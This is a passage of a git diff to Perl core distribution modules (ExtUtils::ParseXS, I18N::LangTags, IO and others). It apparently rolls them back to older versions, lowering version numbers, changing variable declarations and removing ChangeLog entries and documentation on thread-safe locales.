release. diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm index e1f094074556..5aec25d80b11 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm @@ -11,12 +11,12 @@ use Symbol; our $VERSION; BEGIN { - $VERSION = '3.39'; - require ExtUtils::ParseXS::Constants; ExtUtils::ParseXS::Constants->VERSION($VERSION); - require ExtUtils::ParseXS::CountLines; ExtUtils::ParseXS::CountLines->VERSION($VERSION); - require ExtUtils::ParseXS::Utilities; ExtUtils::ParseXS::Utilities->VERSION($VERSION); - require ExtUtils::ParseXS::Eval; ExtUtils::ParseXS::Eval->VERSION($VERSION); + $VERSION = '3.34'; } +use ExtUtils::ParseXS::Constants $VERSION; +use ExtUtils::ParseXS::CountLines $VERSION; +use ExtUtils::ParseXS::Utilities $VERSION; +use ExtUtils::ParseXS::Eval $VERSION; $VERSION = eval $VERSION if $VERSION =~ /_/; use ExtUtils::ParseXS::Utilities qw( @@ -519,10 +519,9 @@ EOF EOF } else { - # cv and items likely to be unused + # cv likely to be unused print Q(<<"EOF"); # PERL_UNUSED_VAR(cv); /* -W */ -# PERL_UNUSED_VAR(items); /* -W */ EOF } @@ -872,7 +871,6 @@ EOF #XS_EUPXS(XS_$self->{Packid}_nil) #{ # dXSARGS; -# PERL_UNUSED_VAR(items); # XSRETURN_EMPTY; #} # diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm index 45b567404d28..dfc74de9352d 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm @@ -3,7 +3,7 @@ use strict; use warnings; use Symbol; -our $VERSION = '3.39'; +our $VERSION = '3.34'; =head1 NAME diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm index 5b48449dbb4d..98251a870870 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm @@ -1,7 +1,7 @@ package ExtUtils::ParseXS::CountLines; use strict; -our $VERSION = '3.39'; +our $VERSION = '3.34'; our $SECTION_END_MARKER; diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm index 9eba5e505833..833753ba933b 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm @@ -2,7 +2,7 @@ package ExtUtils::ParseXS::Eval; use strict; use warnings; -our $VERSION = '3.39'; +our $VERSION = '3.34'; =head1 NAME @@ -29,7 +29,7 @@ Warns the contents of C<$@> if any. Not all these variables are necessarily considered "public" wrt. use in typemaps, so beware. Variables set up from the ExtUtils::ParseXS object: - $Package $ALIAS $func_name $Full_func_name $pname + $Package $Alias $func_name $Full_func_name $pname Variables set up from C<$other_hashref>: @@ -63,7 +63,7 @@ Warns the contents of C<$@> if any. Not all these variables are necessarily considered "public" wrt. use in typemaps, so beware. Variables set up from the ExtUtils::ParseXS object: - $Package $ALIAS $func_name $Full_func_name $pname + $Package $Alias $func_name $Full_func_name $pname Variables set up from C<$other_hashref>: diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm index ae25b33b47bd..b2e8cb89f75f 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm @@ -5,7 +5,7 @@ use Exporter; use File::Spec; use ExtUtils::ParseXS::Constants (); -our $VERSION = '3.39'; +our $VERSION = '3.34'; our (@ISA, @EXPORT_OK); @ISA = qw(Exporter); diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps.pm index a762322df9f3..51af88c5a100 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps.pm @@ -2,7 +2,7 @@ package ExtUtils::Typemaps; use 5.006001; use strict; use warnings; -our $VERSION = '3.38'; +our $VERSION = '3.34'; require ExtUtils::ParseXS; require ExtUtils::ParseXS::Constants; @@ -781,9 +781,7 @@ corresponding OUTPUT code: $var.context.value().size()); ', 'T_OUT' => ' { - GV *gv = (GV *)sv_newmortal(); - gv_init_pvn(gv, gv_stashpvs("$Package",1), - "__ANONIO__",10,0); + GV *gv = newGVgen("$Package"); if ( do_open(gv, "+>&", 3, FALSE, 0, 0, $var) ) sv_setsv( $arg, diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm index 3c33f548a579..c9491a195b71 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm @@ -2,7 +2,7 @@ package ExtUtils::Typemaps::Cmd; use 5.006001; use strict; use warnings; -our $VERSION = '3.38'; +our $VERSION = '3.34'; use ExtUtils::Typemaps; diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/InputMap.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/InputMap.pm index bf19df1e4529..ff620d8db629 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/InputMap.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/InputMap.pm @@ -2,7 +2,7 @@ package ExtUtils::Typemaps::InputMap; use 5.006001; use strict; use warnings; -our $VERSION = '3.38'; +our $VERSION = '3.34'; =head1 NAME diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/OutputMap.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/OutputMap.pm index 90adb4897802..c454c489b45c 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/OutputMap.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/OutputMap.pm @@ -2,7 +2,7 @@ package ExtUtils::Typemaps::OutputMap; use 5.006001; use strict; use warnings; -our $VERSION = '3.38'; +our $VERSION = '3.34'; =head1 NAME diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Type.pm b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Type.pm index 01bd51d4fbc5..764e4b68d84b 100644 --- a/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Type.pm +++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Type.pm @@ -4,7 +4,7 @@ use strict; use warnings; require ExtUtils::Typemaps; -our $VERSION = '3.38'; +our $VERSION = '3.34'; =head1 NAME diff --git a/dist/ExtUtils-ParseXS/lib/perlxs.pod b/dist/ExtUtils-ParseXS/lib/perlxs.pod index 1419ee0ddf9a..e887d33ca7fa 100644 --- a/dist/ExtUtils-ParseXS/lib/perlxs.pod +++ b/dist/ExtUtils-ParseXS/lib/perlxs.pod @@ -418,9 +418,9 @@ automatically designated as an output value. For more complex functions the B compiler will need help to determine which variables are output variables. -This keyword will normally be used to complement the CODE: keyword. +This keyword will normally be used to complement the CODE: keyword. The RETVAL variable is not recognized as an output variable when the -CODE: keyword is present. The OUTPUT: keyword is used in this +CODE: keyword is present. The OUTPUT: keyword is used in this situation to tell the compiler that RETVAL really is an output variable. @@ -454,7 +454,7 @@ parameters (needed for hash or array element parameters that must be created if they didn't exist). If for some reason, this behavior is not desired, the OUTPUT section may contain a C line to disable it for the remainder of the parameters in the OUTPUT section. -Likewise, C can be used to reenable it for the +Likewise, C can be used to reenable it for the remainder of the OUTPUT section. See L for more details about 'set' magic. @@ -654,8 +654,8 @@ from Perl with either of the following statements: $status = rpcb_gettime( $timep ); -The XSUB will look like the code which follows. A CODE: -block is used to call the real rpcb_gettime() function with +The XSUB will look like the code which follows. A CODE: +block is used to call the real rpcb_gettime() function with the parameters in the correct order for that function. bool_t @@ -1027,7 +1027,7 @@ to tell the B compiler that the programmer is supplying the code to control the argument stack for the XSUBs return values. Occasionally one will want an XSUB to return a list of values rather than a single value. In these cases one must use PPCODE: and then explicitly push the list of -values on the stack. The PPCODE: and CODE: keywords should not be used +values on the stack. The PPCODE: and CODE: keywords should not be used together within the same XSUB. The actual difference between PPCODE: and CODE: sections is in the @@ -1197,7 +1197,7 @@ contains the following statement will compile with only B version =head2 The CLEANUP: Keyword This keyword can be used when an XSUB requires special cleanup procedures -before it terminates. When the CLEANUP: keyword is used it must follow +before it terminates. When the CLEANUP: keyword is used it must follow any CODE:, or OUTPUT: blocks which are present in the XSUB. The code specified for the cleanup block will be added as the last statements in the XSUB. @@ -1332,13 +1332,8 @@ C for this function. Instead of writing an overloaded interface using pure Perl, you can also use the OVERLOAD keyword to define additional Perl names for your functions (like the ALIAS: keyword above). However, the -overloaded functions must be defined in such a way as to accept the number -of parameters supplied by perl's overload system. For most overload -methods, it will be three parameters; for the C function it will -be four. However, the bitwise operators C<&>, C<|>, C<^>, and C<~> may be -called with three I five arguments (see L). - -If any +overloaded functions must be defined with three parameters (except +for the nomethod() function which needs four parameters). If any function has the OVERLOAD: keyword, several additional lines will be defined in the c file generated by xsubpp in order to register with the overload magic. @@ -1349,7 +1344,7 @@ the actual SV stored within the blessed RV. See the sample for T_PTROBJ_SPECIAL below. To use the OVERLOAD: keyword, create an XS function which takes -three input parameters (or use the C-style '...' definition) like +three input parameters ( or use the c style '...' definition) like this: SV * @@ -1366,10 +1361,6 @@ characters, you must type the parameter without quoting, separating multiple overloads with whitespace. Note that "" (the stringify overload) should be entered as \"\" (i.e. escaped). -Since, as mentioned above, bitwise operators may take extra arguments, you -may want to use something like C<(lobj, robj, swap, ...)> (with -literal C<...>) as your parameter list. - =head2 The FALLBACK: Keyword In addition to the OVERLOAD keyword, if you need to control how @@ -2060,18 +2051,11 @@ you need to do is to instantiate a Perl interpreter. This wrapping happens always when compiling Perl core source (PERL_CORE is defined) or the Perl core extensions (PERL_EXT is -defined). When compiling XS code outside of the Perl core, the wrapping -does not take place before Perl 5.28. Starting in that release you can - - #define PERL_REENTRANT - -in your code to enable the wrapping. It is advisable to do so if you -are using such functions, as intermixing the C<_r>-forms (as Perl compiled -for multithreaded operation will do) and the C<_r>-less forms is neither -well-defined (inconsistent results, data corruption, or even crashes -become more likely), nor is it very portable. Unfortunately, not all -systems have all the C<_r> forms, but using this C<#define> gives you -whatever protection that Perl is aware is available on each system. +defined). When compiling XS code outside of Perl core the wrapping +does not take place. Note, however, that intermixing the _r-forms +(as Perl compiled for multithreaded operation will do) and the _r-less +forms is neither well-defined (inconsistent results, data corruption, +or even crashes become more likely), nor is it very portable. =head1 EXAMPLES @@ -2166,7 +2150,7 @@ passed into it from the environment. This is an important difference from a generic C language program, where the underlying locale is the "C" locale unless the program changes it. As of v5.20, this underlying -locale is completely hidden from pure Perl code outside the lexical +locale is completely hidden from pure perl code outside the lexical scope of C> except for a couple of function calls in the POSIX module which of necessity use it. But the underlying locale, with that @@ -2195,7 +2179,7 @@ To summarize, here's what to expect and how to handle locales in XS code: =item Non-locale-aware XS code Keep in mind that even if you think your code is not locale-aware, it -may call a library function that is. Hopefully the man page for such +may call a C library function that is. Hopefully the man page for such a function will indicate that dependency, but the documentation is imperfect. @@ -2223,122 +2207,20 @@ handled. If the locale from the user's environment is desired, there should be no need for XS code to set the locale except for C, as perl has -already set the others up. XS code should avoid changing the locale, as -it can adversely affect other, unrelated, code and may not be -thread-safe. To minimize problems, the macros -L, -L, and -L should be used to affect any needed -change. - -But, starting with Perl v5.28, locales are thread-safe on platforms that -support this functionality. Windows has this starting with Visual -Studio 2005. Many other modern platforms support the thread-safe POSIX -2008 functions. The C C<#define> C will be -defined iff this build is using these. From Perl-space, the read-only -variable C<${SAFE_LOCALES}> is 1 if either the build is not threaded, or -if C is defined; otherwise it is 0. - -The way this works under-the-hood is that every thread has a choice of -using a locale specific to it (this is the Windows and POSIX 2008 -functionality), or the global locale that is accessible to all threads -(this is the functionality that has always been there). The -implementations for Windows and POSIX are completely different. On -Windows, the runtime can be set up so that the standard -L> function either only knows about the global locale or -the locale for this thread. On POSIX, C always deals with -the global locale, and other functions have been created to handle -per-thread locales. Perl makes this transparent to perl-space code. It -continues to use C, and the interpreter translates -that into the per-thread functions. - -All other locale-senstive functions automatically use the per-thread -locale, if that is turned on, and failing that, the global locale. Thus -calls to C are ineffective on POSIX systems for the current -thread if that thread is using a per-thread locale. If perl is compiled -for single-thread operation, it does not use the per-thread functions, -so C does work as expected. - -If you have loaded the L> module you can use the methods given -in L to call L|POSIX/setlocale> to safely -change or query the locale (on systems where it is safe to do so), or -you can use the new 5.28 function L instead, -which is a drop-in replacement for the system L>, and -handles single-threaded and multi-threaded applications transparently. - -There are some locale-related library calls that still aren't -thread-safe because they return data in a buffer global to all threads. -In the past, these didn't matter as locales weren't thread-safe at all. -But now you have to be aware of them in case your module is called in a -multi-threaded application. The known ones are - - asctime() - ctime() - gcvt() [POSIX.1-2001 only (function removed in POSIX.1-2008)] - getdate() - wcrtomb() if its final argument is NULL - wcsrtombs() if its final argument is NULL - wcstombs() - wctomb() - -Some of these shouldn't really be called in a Perl application, and for -others there are thread-safe versions of these already implemented: - - asctime_r() - ctime_r() - Perl_langinfo() - -The C<_r> forms are automatically used, starting in Perl 5.28, if you -compile your code, with - - #define PERL_REENTRANT - -See also L. -You can use the methods given in L, to get the best available -locale-safe versions of these - - POSIX::localeconv() - POSIX::wcstombs() - POSIX::wctomb() - -And note, that some items returned by C are available -through L. - -The others shouldn't be used in a threaded application. - -Some modules may call a non-perl library that is locale-aware. This is -fine as long as it doesn't try to query or change the locale using the -system C. But if these do call the system C, -those calls may be ineffective. Instead, -L|perlapi/Perl_setlocale> works in all circumstances. -Plain setlocale is ineffective on multi-threaded POSIX 2008 systems. It -operates only on the global locale, whereas each thread has its own -locale, paying no attention to the global one. Since converting -these non-Perl libraries to C is out of the question, -there is a new function in v5.28 -L|perlapi/switch_to_global_locale> that will -switch the thread it is called from so that any system C -calls will have their desired effect. The function -L|perlapi/sync_locale> must be called before returning to -perl. - -This thread can change the locale all it wants and it won't affect any -other thread, except any that also have been switched to the global -locale. This means that a multi-threaded application can have a single -thread using an alien library without a problem; but no more than a -single thread can be so-occupied. Bad results likely will happen. - -In perls without multi-thread locale support, some alien libraries, -such as C change locales. This can cause problems for the Perl -core and other modules. For these, before control is returned to -perl, starting in v5.20.1, calling the function +already set it up. XS code should avoid changing the locale, as it can +adversely affect other, unrelated, code and may not be thread safe. +However, some alien libraries that may be called do set it, such as +C. This can cause problems for the perl core and other modules. +Starting in v5.20.1, calling the function L from XS should be sufficient to avoid most of these problems. Prior to this, you need a pure Perl statement that does this: POSIX::setlocale(LC_ALL, POSIX::setlocale(LC_ALL)); -or use the methods given in L. +In the event that your XS code may need the underlying C +locale, there are macros available to access this; see +L. =back diff --git a/dist/ExtUtils-ParseXS/t/XSTest.xs b/dist/ExtUtils-ParseXS/t/XSTest.xs index 452d3db24edb..89df22fab9de 100644 --- a/dist/ExtUtils-ParseXS/t/XSTest.xs +++ b/dist/ExtUtils-ParseXS/t/XSTest.xs @@ -76,7 +76,6 @@ bool T_BOOL_2(in) bool in CODE: - PERL_UNUSED_VAR(RETVAL); OUTPUT: in void diff --git a/dist/ExtUtils-ParseXS/t/XSUsage.xs b/dist/ExtUtils-ParseXS/t/XSUsage.xs index ed3c8f845ba7..9a8d93d42a25 100644 --- a/dist/ExtUtils-ParseXS/t/XSUsage.xs +++ b/dist/ExtUtils-ParseXS/t/XSUsage.xs @@ -35,8 +35,6 @@ xsusage_two() ALIAS: two_x = 1 FOO::two = 2 - INIT: - PERL_UNUSED_VAR(ix); int interface_v_i() diff --git a/dist/Filter-Simple/lib/Filter/Simple.pm b/dist/Filter-Simple/lib/Filter/Simple.pm index 1dcf3c80bf7f..44a5f734551b 100644 --- a/dist/Filter-Simple/lib/Filter/Simple.pm +++ b/dist/Filter-Simple/lib/Filter/Simple.pm @@ -2,12 +2,14 @@ package Filter::Simple; use Text::Balanced ':ALL'; -our $VERSION = '0.95'; +use vars qw{ $VERSION @EXPORT }; + +$VERSION = '0.93'; use Filter::Util::Call; use Carp; -our @EXPORT = qw( FILTER FILTER_ONLY ); +@EXPORT = qw( FILTER FILTER_ONLY ); sub import { diff --git a/dist/I18N-LangTags/lib/I18N/LangTags.pm b/dist/I18N-LangTags/lib/I18N/LangTags.pm index 3358d6027460..c4d9ceab3d62 100644 --- a/dist/I18N-LangTags/lib/I18N/LangTags.pm +++ b/dist/I18N-LangTags/lib/I18N/LangTags.pm @@ -5,10 +5,11 @@ require 5.000; package I18N::LangTags; use strict; +use vars qw(@ISA @EXPORT @EXPORT_OK %EXPORT_TAGS $VERSION %Panic); require Exporter; -our @ISA = qw(Exporter); -our @EXPORT = qw(); -our @EXPORT_OK = qw(is_language_tag same_language_tag +@ISA = qw(Exporter); +@EXPORT = qw(); +@EXPORT_OK = qw(is_language_tag same_language_tag extract_language_tags super_languages similarity_language_tag is_dialect_of locale2language_tag alternate_language_tags @@ -16,10 +17,9 @@ our @EXPORT_OK = qw(is_language_tag same_language_tag implicate_supers implicate_supers_strictly ); -our %EXPORT_TAGS = ('ALL' => \@EXPORT_OK); +%EXPORT_TAGS = ('ALL' => \@EXPORT_OK); -our $VERSION = "0.43"; -our %Panic; +$VERSION = "0.42"; sub uniq { my %seen; return grep(!($seen{$_}++), @_); } # a util function diff --git a/dist/I18N-LangTags/lib/I18N/LangTags/Detect.pm b/dist/I18N-LangTags/lib/I18N/LangTags/Detect.pm index 16b91db3366f..a0f3d1db8d22 100644 --- a/dist/I18N-LangTags/lib/I18N/LangTags/Detect.pm +++ b/dist/I18N-LangTags/lib/I18N/LangTags/Detect.pm @@ -5,14 +5,14 @@ require 5; package I18N::LangTags::Detect; use strict; -our ( $MATCH_SUPERS, $USING_LANGUAGE_TAGS, - $USE_LITERALS, $MATCH_SUPERS_TIGHTLY); +use vars qw( @ISA $VERSION $MATCH_SUPERS $USING_LANGUAGE_TAGS + $USE_LITERALS $MATCH_SUPERS_TIGHTLY); BEGIN { unless(defined &DEBUG) { *DEBUG = sub () {0} } } # define the constant 'DEBUG' at compile-time -our $VERSION = "1.07"; -our @ISA = (); +$VERSION = "1.06"; +@ISA = (); use I18N::LangTags qw(alternate_language_tags locale2language_tag); sub _uniq { my %seen; return grep(!($seen{$_}++), @_); } diff --git a/dist/I18N-LangTags/lib/I18N/LangTags/List.pm b/dist/I18N-LangTags/lib/I18N/LangTags/List.pm index 5eef8eebafbf..786d7b89bb83 100644 --- a/dist/I18N-LangTags/lib/I18N/LangTags/List.pm +++ b/dist/I18N-LangTags/lib/I18N/LangTags/List.pm @@ -3,8 +3,8 @@ require 5; package I18N::LangTags::List; # Time-stamp: "2004-10-06 23:26:21 ADT" use strict; -our (%Name, %Is_Disrec, $Debug); -our $VERSION = '0.40'; +use vars qw(%Name %Is_Disrec $Debug $VERSION); +$VERSION = '0.39'; # POD at the end. #---------------------------------------------------------------------- diff --git a/dist/IO/ChangeLog b/dist/IO/ChangeLog index 4101627c23e8..dd5e3ff38282 100644 --- a/dist/IO/ChangeLog +++ b/dist/IO/ChangeLog @@ -1,115 +1,3 @@ -IO 1.38 -- Apr 19 2018 - Todd Rinaldo - * Remove pre 5.8 logic from code base. - * Bump all IO modules to 1.38 and set required Perl to 5.8.1 - * Fix for perl #125723 - * IO test: adjust require for non CORE perl - * IO::Handle - fix precedence issue - * Document IO::Select error detection - * Rely on C89 - * (perl #130856) deal with unpack_sockaddr_un() croaking - * Switch most open() calls to three-argument form. - * (perl #129788) IO::Poll: fix memory leak - * (perl #128095) check pack_sockaddr_un()'s return value - * dist/: remove . from @INC when loading optional modules - * Fix IO::Handle documentation mangled by a manually applied patch - * Make IO::Poll->poll call _poll even with an empty fd array - * Fix assertion when calling IO::Poll::_poll() with an empty fd array - * Some BSD implementations might have instead of . - -IO 1.36 -- Jun 26 2015 (Not released to CPAN) - * dist/IO/t/io_utf8argv.t: Generalize for non-ASCII platforms. - * VMS does have fsync, so configure accordingly. - * Skip obsolete skip in io_xs.t. - * Label conditionally unused. - * Use if available before going select(). - * Fix assertion when calling IO::Poll::_poll() with an empty fd array - * Make IO::Poll->poll call _poll even with an empty fd array - -IO 1.35 -- Dec 7 2014 (Not released to CPAN) - * Change OP_SIBLING to OpSIBLING - * Improve connected() doc - * IRIX: fsync documented to fail on read-only filehandles. - * Convert all use of Test.pm to Test::More - -IO 1.34 -- Sep 10 2014 (Not released to CPAN) - * Add dual life support for use of op_sibling in IO.xs - -IO 1.33 -- Jun 10 2014 (Not released to CPAN) - * wrap op_sibling field access in OP_SIBLING* macros - * Make like() and unlike() in t/test.pl refuse non-qr// arguments - * Further simplify the sockatmark(). (And do not assign the fd in PREINIT.) - -IO 1.32 -- May 29 2014 (Not released to CPAN) - * fcntl receiving -1 from fileno, fcntl failing. - * Also very few spots of negative numgroups for getgroups(), and fgetc() return, but almost all checking is for fcntl. - * merged fix for perl #121743 and perl #121745: hopefully picked up all the fixes-to-fixes from the ticket. - * Fix for Coverity perl5 CIDs 28990..29003,29005..29011,29013,45354,45363,49926 - * Argument cannot be negative (NEGATIVE_RETURNS) fd is passed to a parameter that cannot be negative. - * CIDs 29004, 29012: Argument cannot be negative (NEGATIVE_RETURNS) num_groups is passed to a parameter that cannot be negative and because of CIDs 29005 and 29006 also CID 28924. - * In the first set of issues a fd is retrieved from PerlIO_fileno, and that is then used in places like fstat(), fchown(), dup(), etc., without checking whether the fd is valid (>=0). - * In the second set of issues a potentially negative number is potentially passed to getgroups(). - * The CIDs 29005 and 29006 were a bit messy: fixing them needed also resolving CID 28924 where the return value of fstat() was ignored, and for completeness adding two croak calls (with perldiag updates): a bit of a waste since it's suidperl code. - -IO 1.31 -- Mar 4 2014 (Not released to CPAN) - * dist/IO: Allow to be dual-lived - This dual-lived module has not been able to be compiled on releases earlier than 5.10.1. - * IO::Socket::INET: Handle getprotobyn{ame,umber} not being available - * dist/IO/t/io_pipe.t: Work around android only having an inbuilt echo - * Add examples for IO::Socket::UNIX. - * Remove an old note about autoflush from the POD. - * ioctl on perlhost platforms take a char*, not void* - -IO 1.30 -- Nov 13 2013 (Not released to CPAN) - * IO.xs: fix compiler warning - * [perl #75156] fix the return value and bits for removing a closed fh - * [perl #75156] tests for deleting a closed handle from IO::Select - * Fix IO::Socket::connect() in the light of $! changes - -IO 1.29 -- Mar 15 2013 (Not released to CPAN) - * Use separate macros for byte vs uv Unicode - * IO::Socket::INET's documentation for its Listen parameter was somewhat misleading, and the documentation for IO::Socket::Unix even more so. - * Address [perl #117999] for now by skipping known bad test on AIX - * [perl #117791] Clarify that write does not match the C 'write' semantics - * fix dist/IO/t/cachepropagate-unix.t - -IO 1.28 -- Feb 2 2013 (Not released to CPAN) - * dist/IO/IO.xs: Silence compiler warning. This variable is unused, doesn't need to be declared. - -IO 1.27 -- Feb 17 2013 (Not released to CPAN) - * [perl #116322]: getc() and ungetc() with unicode failure (ungetc() had no knowledge of UTF-8. ) - -IO 1.26 -- May 13 2009 - Jan 16 2013 (Not released to CPAN) - * portability to Haiku-OS for the cachepropagate-*.t tests - * sync() on a read-only file handle doesn't work on cygwin either - * [rt.cpan.org #61577] VMS doesn't support UNIX sockets - * add Test::More as a prereq to Makefile.PL - * document the limitations of protocol(), sockdomain(), socktype() - * [rt.cpan.org #61577] try to populate socket info when not cached - * [rt.cpan.org #61577] propagate socket details on accept - * [rt.cpan.org #61577] sockdomain and socktype undef on newly accepted sockets - * [perl #64772] check both input and output file handles for sync (This allows sync() to be called on directory handles.) - * [perl #64772] TODO test for sync on read only handle - * Convert some tests to Test::More - * Correct bug report email in docs from perl5-porters@perl.org to perlbug@perl.org - * Remove ‘use File::Spec’ from IO::File (It is not using it any more.) - * [RT #36079] Convert ` to '. - * use :raw to avoid interference from PERL_UNICODE when creating test data - * Make IO::Handle::getline(s) respect the open pragma (RT 66474) - * Fix setting sockets nonblocking in Win32 - * Use the exception set in select (connect()) to early return when remote end is busy or in non existing port - * Keep verbatim pod within 79 cols - * Keep verbatim pod in IO.pm within 80 cols - * [perl #88486] IO::File does not always export SEEK* - * Explicitly force the load of IO::File in IO::Handle (see the discussion in [perl #87940]). - * Remove various indirect method calls in IO's docs - * IO::Select: allow removal of IO::Handle objects without fileno - * Actuall excise 'Apollo DomainOS' support. We officially killed it in 5.11.0. It hadn't worked for years before that. - * fix various compiler warnings from XS code (void return value) - * Only bind to localhost in tests: "in general, tests shouldn't be listening on all interfaces." - * Document IO::Socket getsockopt and setsockopt - * Convert sv_2mortal(newSVpvn()) to newSVpvn_flags(), for 5.11.0 and later. ( - * Minor documentation and typo fixes. - * Move IO from ext to dist in core perl - IO 1.25 -- Wed May 13 18:37:33 CDT 2009 * Fix test warnings in io_dir * skip tests known to cause a segfault 5.10.0 diff --git a/dist/IO/IO.pm b/dist/IO/IO.pm index 9f797814b054..a9a585269bcb 100644 --- a/dist/IO/IO.pm +++ b/dist/IO/IO.pm @@ -7,7 +7,7 @@ use Carp; use strict; use warnings; -our $VERSION = "1.39"; +our $VERSION = "1.38"; XSLoader::load 'IO', $VERSION; sub import { diff --git a/dist/IO/IO.xs b/dist/IO/IO.xs index 8e857f8e2e83..15ef9b2aee43 100644 --- a/dist/IO/IO.xs +++ b/dist/IO/IO.xs @@ -11,10 +11,6 @@ #define PERLIO_NOT_STDIO 1 #include "perl.h" #include "XSUB.h" -#define NEED_eval_pv -#define NEED_newCONSTSUB -#define NEED_newSVpvn_flags -#include "ppport.h" #include "poll.h" #ifdef I_UNISTD # include diff --git a/dist/IO/Makefile.PL b/dist/IO/Makefile.PL index 0fd033187110..383eccb2a4d2 100644 --- a/dist/IO/Makefile.PL +++ b/dist/IO/Makefile.PL @@ -1,6 +1,6 @@ # This -*- perl -*- script makes the Makefile -BEGIN { require 5.008_001 } +BEGIN { require 5.006_001 } use ExtUtils::MakeMaker; use Config qw(%Config); my $PERL_CORE = grep { $_ eq 'PERL_CORE=1' } @ARGV; @@ -19,6 +19,12 @@ unless ($PERL_CORE or exists $Config{'i_poll'}) { } } +if ($] < 5.008 and !$PERL_CORE) { + open(FH,'>','typemap'); + print FH "const char * T_PV\n"; + close(FH); +} + #--- Write the Makefile WriteMakefile( @@ -29,7 +35,6 @@ WriteMakefile( AUTHOR => 'Graham Barr ', PREREQ_PM => { 'Test::More' => 0, - 'File::Temp' => '0.15', }, ( $PERL_CORE ? () diff --git a/dist/IO/lib/IO/Dir.pm b/dist/IO/lib/IO/Dir.pm index e583fd389a74..7326d7823d4b 100644 --- a/dist/IO/lib/IO/Dir.pm +++ b/dist/IO/lib/IO/Dir.pm @@ -6,21 +6,22 @@ package IO::Dir; -use 5.008_001; +use 5.006; use strict; use Carp; use Symbol; use Exporter; use IO::File; +our(@ISA, $VERSION, @EXPORT_OK); use Tie::Hash; use File::stat; use File::Spec; -our @ISA = qw(Tie::Hash Exporter); -our $VERSION = "1.39"; - -our @EXPORT_OK = qw(DIR_UNLINK); +@ISA = qw(Tie::Hash Exporter); +$VERSION = "1.10"; +$VERSION = eval $VERSION; +@EXPORT_OK = qw(DIR_UNLINK); sub DIR_UNLINK () { 1 } diff --git a/dist/IO/lib/IO/File.pm b/dist/IO/lib/IO/File.pm index 55c5e20d299d..8b29bac22109 100644 --- a/dist/IO/lib/IO/File.pm +++ b/dist/IO/lib/IO/File.pm @@ -124,8 +124,9 @@ Derived from FileHandle.pm by Graham Barr EFE. =cut -use 5.008_001; +use 5.006_001; use strict; +our($VERSION, @EXPORT, @EXPORT_OK, @ISA); use Carp; use Symbol; use SelectSaver; @@ -133,11 +134,11 @@ use IO::Seekable; require Exporter; -our @ISA = qw(IO::Handle IO::Seekable Exporter); +@ISA = qw(IO::Handle IO::Seekable Exporter); -our $VERSION = "1.39"; +$VERSION = "1.16"; -our @EXPORT = @IO::Seekable::EXPORT; +@EXPORT = @IO::Seekable::EXPORT; eval { # Make all Fcntl O_XXX constants available for importing diff --git a/dist/IO/lib/IO/Handle.pm b/dist/IO/lib/IO/Handle.pm index 60750575c856..ce976b0f4439 100644 --- a/dist/IO/lib/IO/Handle.pm +++ b/dist/IO/lib/IO/Handle.pm @@ -260,19 +260,21 @@ Derived from FileHandle.pm by Graham Barr EFE =cut -use 5.008_001; +use 5.006_001; use strict; +our($VERSION, @EXPORT_OK, @ISA); use Carp; use Symbol; use SelectSaver; use IO (); # Load the XS module require Exporter; -our @ISA = qw(Exporter); +@ISA = qw(Exporter); -our $VERSION = "1.39"; +$VERSION = "1.36"; +$VERSION = eval $VERSION; -our @EXPORT_OK = qw( +@EXPORT_OK = qw( autoflush output_field_separator output_record_separator @@ -364,7 +366,7 @@ sub fdopen { my ($io, $fd, $mode) = @_; local(*GLOB); - if (ref($fd) && "$fd" =~ /GLOB\(/o) { + if (ref($fd) && "".$fd =~ /GLOB\(/o) { # It's a glob reference; Alias it as we cannot get name of anon GLOBs my $n = 